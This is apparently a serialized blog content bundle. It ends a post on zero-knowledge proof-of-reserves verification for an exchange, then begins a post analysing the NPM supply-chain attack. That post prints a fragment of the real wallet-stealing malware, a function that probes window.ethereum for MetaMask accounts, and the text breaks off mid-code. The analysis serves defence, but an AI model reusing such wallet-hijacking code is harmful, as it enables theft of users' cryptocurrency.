type":26,"tag":475,"props":96015,"children":96017},{"className":96016},[3903],[96018],{"type":32,"value":8287},{"type":26,"tag":475,"props":96020,"children":96022},{"className":96021,"style":3898},[3800],[],{"type":26,"tag":475,"props":96024,"children":96026},{"className":96025},[3708],[96027,96031,96036,96041,96046,96051,96056,96061,96066,96071,96076,96133,96138,96142,96147,96152,96209,96214,96218,96223,96228,96232,96237,96242,96304],{"type":26,"tag":475,"props":96028,"children":96030},{"className":96029,"style":3821},[3713],[],{"type":26,"tag":475,"props":96032,"children":96034},{"className":96033,"style":21297},[3719,21296],[96035],{"type":32,"value":21300},{"type":26,"tag":475,"props":96037,"children":96039},{"className":96038},[3719,21296],[96040],{"type":32,"value":92621},{"type":26,"tag":475,"props":96042,"children":96044},{"className":96043},[3719,21296],[96045],{"type":32,"value":3445},{"type":26,"tag":475,"props":96047,"children":96049},{"className":96048},[3719,21296],[96050],{"type":32,"value":621},{"type":26,"tag":475,"props":96052,"children":96054},{"className":96053},[3719,21296],[96055],{"type":32,"value":92637},{"type":26,"tag":475,"props":96057,"children":96059},{"className":96058},[3719,21296],[96060],{"type":32,"value":56095},{"type":26,"tag":475,"props":96062,"children":96064},{"className":96063},[21425],[96065],{"type":32,"value":626},{"type":26,"tag":475,"props":96067,"children":96069},{"className":96068},[3719,21296],[96070],{"type":32,"value":94135},{"type":26,"tag":475,"props":96072,"children":96074},{"className":96073},[3719,21296],[96075],{"type":32,"value":10360},{"type":26,"tag":475,"props":96077,"children":96079},{"className":96078},[3719],[96080,96085],{"type":26,"tag":475,"props":96081,"children":96083},{"className":96082},[3719,21296],[96084],{"type":32,"value":83967},{"type":26,"tag":475,"props":96086,"children":96088},{"className":96087},[3736],[96089],{"type":26,"tag":475,"props":96090,"children":96092},{"className":96091},[3741,21350],[96093,96122],{"type":26,"tag":475,"props":96094,"children":96096},{"className":96095},[3746],[96097,96117],{"type":26,"tag":475,"props":96098,"children":96100},{"className":96099,"style":92719},[3751],[96101],{"type":26,"tag":475,"props":96102,"children":96103},{"style":92723},[96104,96108],{"type":26,"tag":475,"props":96105,"children":96107},{"className":96106,"style":3761},[3760],[],{"type":26,"tag":475,"props":96109,"children":96111},{"className":96110},[3766,3767,3768,3769],[96112],{"type":26,"tag":475,"props":96113,"children":96115},{"className":96114},[3719,3769],[96116],{"type":32,"value":3732},{"type":26,"tag":475,"props":96118,"children":96120},{"className":96119},[21453],[96121],{"type":32,"value":21456},{"type":26,"tag":475,"props":96123,"children":96125},{"className":96124},[3746],[96126],{"type":26,"tag":475,"props":96127,"children":96129},{"className":96128,"style":92750},[3751],[96130],{"type":26,"tag":475,"props":96131,"children":96132},{},[],{"type":26,"tag":475,"props":96134,"children":96136},{"className":96135},[3832],[96137],{"type":32,"value":3835},{"type":26,"tag":475,"props":96139,"children":96141},{"className":96140,"style":3839},[3800],[],{"type":26,"tag":475,"props":96143,"children":96145},{"className":96144},[3719,21296],[96146],{"type":32,"value":94135},{"type":26,"tag":475,"props":96148,"children":96150},{"className":96149},[3719,21296],[96151],{"type":32,"value":10360},{"type":26,"tag":475,"props":96153,"children":96155},{"className":96154},[3719],[96156,96161],{"type":26,"tag":475,"props":96157,"children":96159},{"className":96158},[3719,21296],[96160],{"type":32,"value":83967},{"type":26,"tag":475,"props":96162,"children":96164},{"className":96163},[3736],[96165],{"type":26,"tag":475,"props":96166,"children":96168},{"className":96167},[3741,21350],[96169,96198],{"type":26,"tag":475,"props":96170,"children":96172},{"className":96171},[3746],[96173,96193],{"type":26,"tag":475,"props":96174,"children":96176},{"className":96175,"style":92719},[3751],[96177],{"type":26,"tag":475,"props":96178,"children":96179},{"style":92723},[96180,96184],{"type":26,"tag":475,"props":96181,"children":96183},{"className":96182,"style":3761},[3760],[],{"type":26,"tag":475,"props":96185,"children":96187},{"className":96186},[3766,3767,3768,3769],[96188],{"type":26,"tag":475,"props":96189,"children":96191},{"className":96190},[3719,3769],[96192],{"type":32,"value":3722},{"type":26,"tag":475,"props":96194,"children":96196},{"className":96195},[21453],[96197],{"type":32,"value":21456},{"type":26,"tag":475,"props":96199,"children":96201},{"className":96200},[3746],[96202],{"type":26,"tag":475,"props":96203,"children":96205},{"className":96204,"style":92750},[3751],[96206],{"type":26,"tag":475,"props":96207,"children":96208},{},[],{"type":26,"tag":475,"props":96210,"children":96212},{"className":96211},[3832],[96213],{"type":32,"value":3835},{"type":26,"tag":475,"props":96215,"children":96217},{"className":96216,"style":3839},[3800],[],{"type":26,"tag":475,"props":96219,"children":96221},{"className":96220},[3719],[96222],{"type":32,"value":9300},{"type":26,"tag":475,"props":96224,"children":96226},{"className":96225},[3832],[96227],{"type":32,"value":3835},{"type":26,"tag":475,"props":96229,"children":96231},{"className":96230,"style":3839},[3800],[],{"type":26,"tag":475,"props":96233,"children":96235},{"className":96234},[3719,21296],[96236],{"type":32,"value":94135},{"type":26,"tag":475,"props":96238,"children":96240},{"className":96239},[3719,21296],[96241],{"type":32,"value":10360},{"type":26,"tag":475,"props":96243,"children":96245},{"className":96244},[3719],[96246,96251],{"type":26,"tag":475,"props":96247,"children":96249},{"className":96248},[3719,21296],[96250],{"type":32,"value":83967},{"type":26,"tag":475,"props":96252,"children":96254},{"className":96253},[3736],[96255],{"type":26,"tag":475,"props":96256,"children":96258},{"className":96257},[3741,21350],[96259,96293],{"type":26,"tag":475,"props":96260,"children":96262},{"className":96261},[3746],[96263,96288],{"type":26,"tag":475,"props":96264,"children":96266},{"className":96265,"style":92719},[3751],[96267],{"type":26,"tag":475,"props":96268,"children":96269},{"style":92723},[96270,96274],{"type":26,"tag":475,"props":96271,"children":96273},{"className":96272,"style":3761},[3760],[],{"type":26,"tag":475,"props":96275,"children":96277},{"className":96276},[3766,3767,3768,3769],[96278],{"type":26,"tag":475,"props":96279,"children":96281},{"className":96280},[3719,3769],[96282],{"type":26,"tag":475,"props":96283,"children":96285},{"className":96284},[3719,3769],[96286],{"type":32,"value":96287},"31",{"type":26,"tag":475,"props":96289,"children":96291},{"className":96290},[21453],[96292],{"type":32,"value":21456},{"type":26,"tag":475,"props":96294,"children":96296},{"className":96295},[3746],[96297],{"type":26,"tag":475,"props":96298,"children":96300},{"className":96299,"style":92750},[3751],[96301],{"type":26,"tag":475,"props":96302,"children":96303},{},[],{"type":26,"tag":475,"props":96305,"children":96307},{"className":96306},[21447],[96308],{"type":32,"value":2835},{"type":32,"value":6171},{"type":26,"tag":105,"props":96311,"children":96312},{},[96313],{"type":32,"value":94455},{"type":26,"tag":86,"props":96315,"children":96316},{},[96317,96322,96323],{"type":26,"tag":2615,"props":96318,"children":96319},{},[96320],{"type":32,"value":96321},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":32,"value":6171},{"type":26,"tag":105,"props":96324,"children":96325},{},[96326],{"type":32,"value":94739},{"type":26,"tag":35,"props":96328,"children":96329},{},[96330],{"type":32,"value":96331},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":26,"tag":35,"props":96333,"children":96334},{},[96335],{"type":26,"tag":132,"props":96336,"children":96338},{"alt":134,"src":96337},"/posts/por/recursive-circuit.png",[],{"type":26,"tag":27,"props":96340,"children":96342},{"id":96341},"global-proof-and-inclusion-proofs",[96343],{"type":32,"value":96344},"Global Proof and Inclusion Proofs",{"type":26,"tag":41,"props":96346,"children":96347},{"id":8991},[96348],{"type":32,"value":96349},"Proving",{"type":26,"tag":35,"props":96351,"children":96352},{},[96353,96355,96361,96362,96368,96369,96375],{"type":32,"value":96354},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":26,"tag":53,"props":96356,"children":96358},{"className":96357},[],[96359],{"type":32,"value":96360},"merkle_tree.json",{"type":32,"value":637},{"type":26,"tag":53,"props":96363,"children":96365},{"className":96364},[],[96366],{"type":32,"value":96367},"final_proof.json",{"type":32,"value":6201},{"type":26,"tag":53,"props":96370,"children":96372},{"className":96371},[],[96373],{"type":32,"value":96374},"private_nonces.json",{"type":32,"value":96376}," files.",{"type":26,"tag":35,"props":96378,"children":96379},{},[96380],{"type":32,"value":96381},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":26,"tag":35,"props":96383,"children":96384},{},[96385,96387,96393,96395,96400],{"type":32,"value":96386},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":26,"tag":53,"props":96388,"children":96390},{"className":96389},[],[96391],{"type":32,"value":96392},"inclusion_proof_\u003Cid>.json",{"type":32,"value":96394},"). ",{"type":26,"tag":2615,"props":96396,"children":96397},{},[96398],{"type":32,"value":96399},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":32,"value":353},{"type":26,"tag":41,"props":96402,"children":96404},{"id":96403},"verifying",[96405],{"type":32,"value":96406},"Verifying",{"type":26,"tag":35,"props":96408,"children":96409},{},[96410],{"type":26,"tag":105,"props":96411,"children":96412},{},[96413],{"type":32,"value":96414},"Global Proof",{"type":26,"tag":35,"props":96416,"children":96417},{},[96418,96420,96425,96426,96431],{"type":32,"value":96419},"To verify the global proof, the code deserializes the ",{"type":26,"tag":53,"props":96421,"children":96423},{"className":96422},[],[96424],{"type":32,"value":96360},{"type":32,"value":37244},{"type":26,"tag":53,"props":96427,"children":96429},{"className":96428},[],[96430],{"type":32,"value":96367},{"type":32,"value":96432}," files and performs these checks:",{"type":26,"tag":181,"props":96434,"children":96435},{},[96436,96441,96446,96451,96477],{"type":26,"tag":86,"props":96437,"children":96438},{},[96439],{"type":32,"value":96440},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":26,"tag":86,"props":96442,"children":96443},{},[96444],{"type":32,"value":96445},"Verify the ZK final proof.",{"type":26,"tag":86,"props":96447,"children":96448},{},[96449],{"type":32,"value":96450},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":26,"tag":86,"props":96452,"children":96453},{},[96454,96456,96462,96464,96469,96470,96475],{"type":32,"value":96455},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":26,"tag":53,"props":96457,"children":96459},{"className":96458},[],[96460],{"type":32,"value":96461},"merkle_tree_hash",{"type":32,"value":96463}," public input. This ensures that the ",{"type":26,"tag":53,"props":96465,"children":96467},{"className":96466},[],[96468],{"type":32,"value":96360},{"type":32,"value":209},{"type":26,"tag":53,"props":96471,"children":96473},{"className":96472},[],[96474],{"type":32,"value":96367},{"type":32,"value":96476}," are linked (they belong to the same global proof).",{"type":26,"tag":86,"props":96478,"children":96479},{},[96480],{"type":32,"value":96481},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":26,"tag":35,"props":96483,"children":96484},{},[96485],{"type":26,"tag":105,"props":96486,"children":96487},{},[96488],{"type":32,"value":96489},"Inclusion Proof",{"type":26,"tag":35,"props":96491,"children":96492},{},[96493,96495,96500,96502,96507],{"type":32,"value":96494},"To verify the inclusion proof, the code deserializes the ",{"type":26,"tag":53,"props":96496,"children":96498},{"className":96497},[],[96499],{"type":32,"value":96392},{"type":32,"value":96501}," file and also the ",{"type":26,"tag":53,"props":96503,"children":96505},{"className":96504},[],[96506],{"type":32,"value":96367},{"type":32,"value":96508},". After that, it performs these checks:",{"type":26,"tag":181,"props":96510,"children":96511},{},[96512,96516,96521,96526],{"type":26,"tag":86,"props":96513,"children":96514},{},[96515],{"type":32,"value":96445},{"type":26,"tag":86,"props":96517,"children":96518},{},[96519],{"type":32,"value":96520},"Verify if the Merkle tree root is the same as in the final proof.",{"type":26,"tag":86,"props":96522,"children":96523},{},[96524],{"type":32,"value":96525},"Recalculate the user-related node leaf hash.",{"type":26,"tag":86,"props":96527,"children":96528},{},[96529],{"type":32,"value":96530},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":26,"tag":27,"props":96532,"children":96534},{"id":96533},"por-verifier-server",[96535],{"type":32,"value":96536},"PoR Verifier Server",{"type":26,"tag":35,"props":96538,"children":96539},{},[96540,96542,96548],{"type":32,"value":96541},"To automate the verification process, we created a ",{"type":26,"tag":116,"props":96543,"children":96545},{"href":92178,"rel":96544},[120],[96546],{"type":32,"value":96547},"verifier server",{"type":32,"value":96549}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":26,"tag":35,"props":96551,"children":96552},{},[96553],{"type":32,"value":96554},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":26,"tag":35,"props":96556,"children":96557},{},[96558],{"type":26,"tag":132,"props":96559,"children":96561},{"alt":134,"src":96560},"/posts/por/backpack-por.png",[],{"type":26,"tag":35,"props":96563,"children":96564},{},[96565],{"type":32,"value":96566},"Here is a breakdown of what fields represent and why they are required:",{"type":26,"tag":82,"props":96568,"children":96569},{},[96570,96580,96590,96600,96610,96620],{"type":26,"tag":86,"props":96571,"children":96572},{},[96573,96578],{"type":26,"tag":105,"props":96574,"children":96575},{},[96576],{"type":32,"value":96577},"Status",{"type":32,"value":96579}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":26,"tag":86,"props":96581,"children":96582},{},[96583,96588],{"type":26,"tag":105,"props":96584,"children":96585},{},[96586],{"type":32,"value":96587},"Proof Timestamp",{"type":32,"value":96589}," --> when the proof was generated by the exchange.",{"type":26,"tag":86,"props":96591,"children":96592},{},[96593,96598],{"type":26,"tag":105,"props":96594,"children":96595},{},[96596],{"type":32,"value":96597},"Verify Timestamp",{"type":32,"value":96599}," --> when the proof was verified by the PoR server.",{"type":26,"tag":86,"props":96601,"children":96602},{},[96603,96608],{"type":26,"tag":105,"props":96604,"children":96605},{},[96606],{"type":32,"value":96607},"Proof File URL",{"type":32,"value":96609}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":26,"tag":86,"props":96611,"children":96612},{},[96613,96618],{"type":26,"tag":105,"props":96614,"children":96615},{},[96616],{"type":32,"value":96617},"Prover Version",{"type":32,"value":96619}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":26,"tag":86,"props":96621,"children":96622},{},[96623,96628],{"type":26,"tag":105,"props":96624,"children":96625},{},[96626],{"type":32,"value":96627},"File Hash (SHA256)",{"type":32,"value":96629}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":26,"tag":35,"props":96631,"children":96632},{},[96633],{"type":32,"value":96634},"Also, you can check the exchange's liabilities on the website:",{"type":26,"tag":35,"props":96636,"children":96637},{},[96638],{"type":26,"tag":132,"props":96639,"children":96641},{"alt":134,"src":96640},"/posts/por/backpack-por-liabilities.png",[],{"type":26,"tag":35,"props":96643,"children":96644},{},[96645,96647,96653,96655,96661],{"type":32,"value":96646},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":26,"tag":116,"props":96648,"children":96651},{"href":96649,"rel":96650},"https://backpack.exchange/reserves",[120],[96652],{"type":32,"value":96649},{"type":32,"value":96654}," and our verifier server for backpack at ",{"type":26,"tag":116,"props":96656,"children":96659},{"href":96657,"rel":96658},"https://backpack-por.osec.io/",[120],[96660],{"type":32,"value":96657},{"type":32,"value":353},{"type":26,"tag":27,"props":96663,"children":96665},{"id":96664},"self-verification",[96666],{"type":32,"value":96667},"Self-verification",{"type":26,"tag":35,"props":96669,"children":96670},{},[96671],{"type":32,"value":96672},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":26,"tag":41,"props":96674,"children":96676},{"id":96675},"how-to-verify-if-i-was-included",[96677],{"type":32,"value":96678},"How to verify if I was included?",{"type":26,"tag":35,"props":96680,"children":96681},{},[96682],{"type":32,"value":96683},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":26,"tag":181,"props":96685,"children":96686},{},[96687,96698,96716],{"type":26,"tag":86,"props":96688,"children":96689},{},[96690,96697],{"type":26,"tag":116,"props":96691,"children":96694},{"href":96692,"rel":96693},"https://github.com/otter-sec/por_v2/releases",[120],[96695],{"type":32,"value":96696},"Download the PoRv2 executable from our github",{"type":32,"value":353},{"type":26,"tag":86,"props":96699,"children":96700},{},[96701,96703,96708,96709,96714],{"type":32,"value":96702},"Download the inclusion and the final proof files from the exchange (",{"type":26,"tag":53,"props":96704,"children":96706},{"className":96705},[],[96707],{"type":32,"value":96392},{"type":32,"value":209},{"type":26,"tag":53,"props":96710,"children":96712},{"className":96711},[],[96713],{"type":32,"value":96367},{"type":32,"value":96715},") and put the files in the same directory as the PoRv2 app.",{"type":26,"tag":86,"props":96717,"children":96718},{},[96719,96721,96727],{"type":32,"value":96720},"Open the terminal and execute this: ",{"type":26,"tag":53,"props":96722,"children":96724},{"className":96723},[],[96725],{"type":32,"value":96726},"./plonky2_por verify-inclusion",{"type":32,"value":353},{"type":26,"tag":35,"props":96729,"children":96730},{},[96731],{"type":32,"value":96732},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":26,"tag":465,"props":96734,"children":96736},{"code":96735},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[96737],{"type":26,"tag":53,"props":96738,"children":96739},{"__ignoreMap":7},[96740],{"type":32,"value":96735},{"type":26,"tag":41,"props":96742,"children":96744},{"id":96743},"how-can-i-verify-the-global-proof",[96745],{"type":32,"value":96746},"How can I verify the global proof?",{"type":26,"tag":35,"props":96748,"children":96749},{},[96750],{"type":32,"value":96751},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":26,"tag":181,"props":96753,"children":96754},{},[96755,96764,96782],{"type":26,"tag":86,"props":96756,"children":96757},{},[96758,96763],{"type":26,"tag":116,"props":96759,"children":96761},{"href":96692,"rel":96760},[120],[96762],{"type":32,"value":96696},{"type":32,"value":353},{"type":26,"tag":86,"props":96765,"children":96766},{},[96767,96769,96774,96775,96780],{"type":32,"value":96768},"Download the ",{"type":26,"tag":53,"props":96770,"children":96772},{"className":96771},[],[96773],{"type":32,"value":96360},{"type":32,"value":37244},{"type":26,"tag":53,"props":96776,"children":96778},{"className":96777},[],[96779],{"type":32,"value":96367},{"type":32,"value":96781}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":26,"tag":86,"props":96783,"children":96784},{},[96785,96787,96792],{"type":32,"value":96786},"Open the terminal and execute ",{"type":26,"tag":53,"props":96788,"children":96790},{"className":96789},[],[96791],{"type":32,"value":96726},{"type":32,"value":96793},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":26,"tag":35,"props":96795,"children":96796},{},[96797],{"type":32,"value":96798},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":26,"tag":465,"props":96800,"children":96802},{"code":96801},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[96803],{"type":26,"tag":53,"props":96804,"children":96805},{"__ignoreMap":7},[96806],{"type":32,"value":96801},{"type":26,"tag":35,"props":96808,"children":96809},{},[96810],{"type":32,"value":96811},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":26,"tag":465,"props":96813,"children":96815},{"code":96814},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[96816],{"type":26,"tag":53,"props":96817,"children":96818},{"__ignoreMap":7},[96819],{"type":32,"value":96814},{"type":26,"tag":27,"props":96821,"children":96822},{"id":2533},[96823],{"type":32,"value":2536},{"type":26,"tag":35,"props":96825,"children":96826},{},[96827],{"type":32,"value":96828},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":26,"tag":35,"props":96830,"children":96831},{},[96832,96834,96840],{"type":32,"value":96833},"We are currently working with Backpack to implement this algorithm ",{"type":26,"tag":116,"props":96835,"children":96837},{"href":96649,"rel":96836},[120],[96838],{"type":32,"value":96839},"in production",{"type":32,"value":96841}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":26,"tag":35,"props":96843,"children":96844},{},[96845,96847,96854],{"type":32,"value":96846},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":26,"tag":116,"props":96848,"children":96851},{"href":96849,"rel":96850},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[120],[96852],{"type":32,"value":96853},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":32,"value":353},{"title":7,"searchDepth":516,"depth":516,"links":96856},[96857,96858,96859,96860,96863,96868,96872,96873,96877],{"id":92106,"depth":516,"text":92109},{"id":92187,"depth":516,"text":92190},{"id":92257,"depth":516,"text":92260},{"id":92311,"depth":516,"text":92314,"children":96861},[96862],{"id":92390,"depth":539,"text":92393},{"id":92478,"depth":516,"text":92481,"children":96864},[96865,96866,96867],{"id":92551,"depth":539,"text":92554},{"id":93023,"depth":539,"text":93026},{"id":94762,"depth":539,"text":94765},{"id":96341,"depth":516,"text":96344,"children":96869},[96870,96871],{"id":8991,"depth":539,"text":96349},{"id":96403,"depth":539,"text":96406},{"id":96533,"depth":516,"text":96536},{"id":96664,"depth":516,"text":96667,"children":96874},[96875,96876],{"id":96675,"depth":539,"text":96678},{"id":96743,"depth":539,"text":96746},{"id":2533,"depth":516,"text":2536},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":96882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96883,"description":96884,"date":96885,"author":13,"image":96886,"isFeatured":18,"onBlogPage":18,"tags":96888,"body":96891,"_type":2566,"_id":99316,"_source":2568,"_file":99317,"_stem":99318,"_extension":2571},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":96887,"width":16,"height":17},"/posts/supply-chain-attcks/title.png",[96889,96890],"npm","supply-chain",{"type":23,"children":96892,"toc":99299},[96893,96906,96911,96916,96922,96927,96935,97265,97273,97835,97843,98550,98556,98561,98567,98572,98577,98583,98588,98600,98605,98631,98718,98730,98755,98771,98776,98781,98987,99029,99034,99046,99052,99064,99106,99119,99199,99211,99224,99231,99242,99250,99256,99269,99274,99278,99283,99295],{"type":26,"tag":35,"props":96894,"children":96895},{},[96896,96898,96904],{"type":32,"value":96897},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":26,"tag":53,"props":96899,"children":96901},{"className":96900},[],[96902],{"type":32,"value":96903},"chalk",{"type":32,"value":96905},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":26,"tag":35,"props":96907,"children":96908},{},[96909],{"type":32,"value":96910},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":26,"tag":35,"props":96912,"children":96913},{},[96914],{"type":32,"value":96915},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":26,"tag":27,"props":96917,"children":96919},{"id":96918},"qix-malware-how-it-worked",[96920],{"type":32,"value":96921},"Qix Malware: How It Worked",{"type":26,"tag":35,"props":96923,"children":96924},{},[96925],{"type":32,"value":96926},"The attacker published modified versions of packages with code designed to do three things:",{"type":26,"tag":181,"props":96928,"children":96929},{},[96930],{"type":26,"tag":86,"props":96931,"children":96932},{},[96933],{"type":32,"value":96934},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":26,"tag":465,"props":96936,"children":96938},{"code":96937,"language":2334,"meta":7,"className":2332,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[96939],{"type":26,"tag":53,"props":96940,"children":96941},{"__ignoreMap":7},[96942,96962,96974,97018,97035,97042,97078,97090,97118,97138,97158,97170,97177,97212,97232,97244,97251,97258],{"type":26,"tag":475,"props":96943,"children":96944},{"class":477,"line":478},[96945,96949,96953,96958],{"type":26,"tag":475,"props":96946,"children":96947},{"style":482},[96948],{"type":32,"value":2350},{"type":26,"tag":475,"props":96950,"children":96951},{"style":482},[96952],{"type":32,"value":37907},{"type":26,"tag":475,"props":96954,"children":96955},{"style":493},[96956],{"type":32,"value":96957}," checkethereumw",{"type":26,"tag":475,"props":96959,"children":96960},{"style":499},[96961],{"type":32,"value":882},{"type":26,"tag":475,"props":96963,"children":96964},{"class":477,"line":516},[96965,96970],{"type":26,"tag":475,"props":96966,"children":96967},{"style":586},[96968],{"type":32,"value":96969}," try",{"type":26,"tag":475,"props":96971,"children":96972},{"style":499},[96973],{"type":32,"value":579},{"type":26,"tag":475,"props":96975,"children":96976},{"class":477,"line":539},[96977,96981,96986,96990,96994,96998,97002,97006,97010,97014],{"type":26,"tag":475,"props":96978,"children":96979},{"style":482},[96980],{"type":32,"value":51359},{"type":26,"tag":475,"props":96982,"children":96983},{"style":2375},[96984],{"type":32,"value":96985}," _0x124ed3",{"type":26,"tag":475,"props":96987,"children":96988},{"style":714},[96989],{"type":32,"value":2383},{"type":26,"tag":475,"props":96991,"children":96992},{"style":586},[96993],{"type":32,"value":2388},{"type":26,"tag":475,"props":96995,"children":96996},{"style":2375},[96997],{"type":32,"value":31108},{"type":26,"tag":475,"props":96999,"children":97000},{"style":499},[97001],{"type":32,"value":353},{"type":26,"tag":475,"props":97003,"children":97004},{"style":2375},[97005],{"type":32,"value":31117},{"type":26,"tag":475,"props":97007,"children":97008},{"style":499},[97009],{"type":32,"value":353},{"type":26,"tag":475,"props":97011,"children":97012},{"style":493},[97013],{"type":32,"value":31193},{"type":26,"tag":475,"props":97015,"children":97016},{"style":499},[97017],{"type":32,"value":14846},{"type":26,"tag":475,"props":97019,"children":97020},{"class":477,"line":548},[97021,97026,97030],{"type":26,"tag":475,"props":97022,"children":97023},{"style":629},[97024],{"type":32,"value":97025}," 'method'",{"type":26,"tag":475,"props":97027,"children":97028},{"style":2375},[97029],{"type":32,"value":179},{"type":26,"tag":475,"props":97031,"children":97032},{"style":629},[97033],{"type":32,"value":97034}," 